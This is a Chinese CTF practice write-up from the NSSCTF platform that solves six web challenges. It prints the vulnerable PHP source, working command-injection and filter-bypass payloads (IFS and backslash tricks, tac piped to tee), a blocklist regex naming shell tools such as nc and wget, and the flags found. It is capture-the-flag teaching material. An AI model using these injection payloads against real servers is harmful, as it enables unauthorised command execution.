NSSCTF之Web篇刷题记录[12]
- [NCTF 2018]签到题:
- [鹤城杯 2021]EasyP:
- [NSSCTF 2022 Spring Recruit]ezgame:
- [GXYCTF 2019]Ping Ping Ping:
- [SWPUCTF 2021 新生赛]finalrce:
- [NISACTF 2022]checkin:
NSSCTF平台:https://www.nssctf.cn/
PS:记得所有的flag
都改为NSSCTF
[NCTF 2018]签到题:
打开是一个search.php
查看源代码都没有找到flag,
最后在index.php
的响应头找到了!
NSSCTF{w3lc0m3_t0_nctf2018hhhhhhhhhhhh}
[鹤城杯 2021]EasyP:
<?php
include 'utils.php';
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>
分析一下代码$_SERVE[‘PHP_SELF’]
调用的脚本的路径
$_SERVER[‘REQUEST_URI’]
取得当前URI,也就是除域名外后面的完整的地址路径
basename
函数: 返回路径中的文件名部分。
现在需要绕过preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF']
和正则 只要在php\
后面加一个非ascll
码就行比如汉字 由于preg_match
正则匹配,我们不能直接输入show_source=‘’
所以可以将show_source
变为show[source
绕过preg_match
正则方法是,在 index.php/utils.php
后面添加一个非ascii
表中的字符(很多都可以)
payload:/index.php/utils.php/巧克力?show[source=1
NSSCTF{9ce4af3e-811f-49cd-a8f3-544efa897fb9}
[NSSCTF 2022 Spring Recruit]ezgame:
玩游戏65
分给你flag
(懒得玩)提示给的是js
所以我们找一下,在js/preload.js
中找到FLAG
。
NSSCTF{c0700f5b-604f-4b8f-b017-4be822fb5de6}
[GXYCTF 2019]Ping Ping Ping:
这题之前讲过可以参考链接:https://blog.csdn.net/Aluxian_/article/details/130053100?spm=1001.2014.3001.5501
Payload:?ip=127.0.0.1;cat$IFS$9`ls`
NSSCTF{8117affa-f16d-4085-b644-696ae9b83a2c}
[SWPUCTF 2021 新生赛]finalrce:
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
preg_match
函数用于执行一个正则表达式匹配,这里看到基本上过滤了很多命令cat,ls
这种都不能使用了 可以使用tee
命令
由于ls
正则表达被过滤,所以我们还需要绕过preg_match
可以使用反斜杠(\)
转义字符
这里的tee
功能是从标准输入读取,再写入标准输出和文件 Payload:?url=l\s / |tee 1.txt
然后访问1.txt
看到flllllaaaaaaggggggg
tac
没有被过滤然后直接 构造Payload:?url=tac /flllll\aaaaaaggggggg | tee 9.txt (
记得|后面要空格)在访问9.txt
NSSCTF{9dccd221-4cd1-41f7-9feb-3c463839eb88}
[NISACTF 2022]checkin:
提示:尝试复制源码看看->010editor
识别到Unicode
特殊字符复制到VScode
中 复制下来URLencode
编码一下
Payload:?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6N1SACTF
NSSCTF{5359287b-d34e-4df8-ac95-1670f011cf2c}